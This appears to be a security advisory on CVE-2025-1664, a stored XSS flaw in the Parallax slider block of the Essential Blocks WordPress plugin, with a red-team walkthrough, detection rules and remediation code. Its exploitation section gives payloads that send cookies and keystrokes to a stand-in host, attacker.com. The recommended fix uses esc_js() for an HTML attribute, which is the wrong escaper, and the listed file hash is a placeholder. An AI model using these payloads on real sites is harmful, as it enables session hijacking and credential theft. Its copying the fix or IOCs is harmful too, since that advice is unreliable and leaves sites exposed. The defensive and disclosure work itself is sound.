CVE-2025-1664

Executive Summary

CVE-2025-1664 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Essential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress. The flaw resides in the Parallax slider block component, affecting all versions up to and including 5.3.1. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from insufficient input sanitization and output escaping within the plugin's block rendering logic.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The EPSS score of 0.0% indicates low exploitation likelihood in the wild at the time of analysis, but the risk remains significant for sites with multiple contributors.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin's update mechanism; users must manually update or apply mitigations as no patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the ability for any contributor to inject persistent scripts makes this a serious concern for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the Parallax slider block, which is part of the Essential Blocks plugin. The block likely uses JavaScript to create a parallax scrolling effect on background images or content. The flaw occurs when user-supplied attributes (e.g., image URLs, captions, or custom CSS) are not properly sanitized before being stored in the database and later rendered in the page.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post/page.
2. The attacker adds the Parallax slider block and injects a malicious payload into a block attribute (e.g., caption, alt_text, or a custom data attribute).
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When an administrator or other user views the page, the payload is rendered as HTML/JavaScript, executing in their browser.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to escape output in the block's render callback. Specifically, the Parallax slider likely outputs user-controlled data inside a <script> tag or an inline event handler without using esc_js() or wp_json_encode().

Example vulnerable code pattern:

function render_parallax_block($attributes) {
    $caption = $attributes['caption'];
    echo '<div class="parallax-slider" data-caption="' . $caption . '">';
    // ...
}

An attacker could set caption to "><script>alert('XSS')</script><div class=" to break out of the attribute.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 5.3.1):

// In src/blocks/parallax-slider/index.php or similar
function render_block($attributes) {
    $caption = $attributes['caption'];
    // No sanitization or escaping
    echo '<div class="parallax-slider" data-caption="' . $caption . '">';
    // ...
}

Patched Code (hypothetical fix):

function render_block($attributes) {
    $caption = isset($attributes['caption']) ? esc_js($attributes['caption']) : '';
    echo '<div class="parallax-slider" data-caption="' . $caption . '">';
    // ...
}

The fix uses esc_js() to escape the output for safe use in an HTML attribute context. Additionally, input sanitization should be applied on save using sanitize_text_field() or wp_kses_post() depending on the expected content.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Essential Blocks plugin <= 5.3.1
• Contributor-level account credentials

Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Add the Parallax slider block.
4. In the block's caption or other text field, inject the following payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><div class="
   

5. Publish or save the post.
6. When an administrator views the post, the script executes and exfiltrates cookies.

Alternative payload (for keylogging):

"><script>document.addEventListener('keydown', function(e){fetch('https://attacker.com/k?k='+e.key)})</script><div class="

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing suspicious HTML attributes in the post_content column.
• Look for outbound connections to unknown domains from the WordPress server.
• Review Contributor-level activity for unusual block usage.

Prevention:

• Disable the Parallax slider block via the plugin settings or by removing the block registration.
• Apply a Web Application Firewall (WAF) rule to block XSS payloads in post content.
• Restrict Contributor-level access to only trusted users.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • essential-blocks.php (version 5.3.1): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Database Entries:
  • Posts containing <script> tags within wp_posts.post_content where the post type is 'post' or 'page'.
• Network Indicators:
  • Outbound HTTP requests to domains not whitelisted in the WordPress site.
• Log Entries:
  • PHP error logs showing unexpected or malformed block attributes.

Detection Engineering

YARA Rule

rule CVE_2025_1664_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Essential Blocks Parallax slider"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1664"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*["'][^"']*["']/i
        $payload3 = /javascript\s*:/i
        $block_marker = "wp:essential-blocks/parallax-slider"
    condition:
        $block_marker and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: CVE-2025-1664 Stored XSS in Essential Blocks Parallax Slider
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts via the Parallax slider block in Essential Blocks plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1664
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-json/wp/v2/posts"
        http.body|contains: "wp:essential-blocks/parallax-slider"
        http.body|re: "(<script|on\w+=|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block attributes (rare)
level: high
tags:
    - attack.t1190
    - cve.2025.1664

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1664 Stored XSS in Essential Blocks Parallax Slider"; flow:to_server,established; content:"wp:essential-blocks/parallax-slider"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1; reference:cve,2025-1664;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Parallax slider block by adding the following code to your theme's functions.php:

   add_filter('register_block_type_args', function($args, $name) {
       if ($name === 'essential-blocks/parallax-slider') {
           $args['render_callback'] = '__return_empty_string';
       }
       return $args;
   }, 10, 2);
   

2. Apply a WAF rule to block XSS patterns in post content.
3. Audit existing posts for any injected scripts using the YARA rule above.

Long-Term Fix:

• Monitor the plugin's official repository for a patched version (expected > 5.3.1).
• Once available, update the plugin immediately.
• Consider replacing the plugin with an alternative that has a better security track record.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst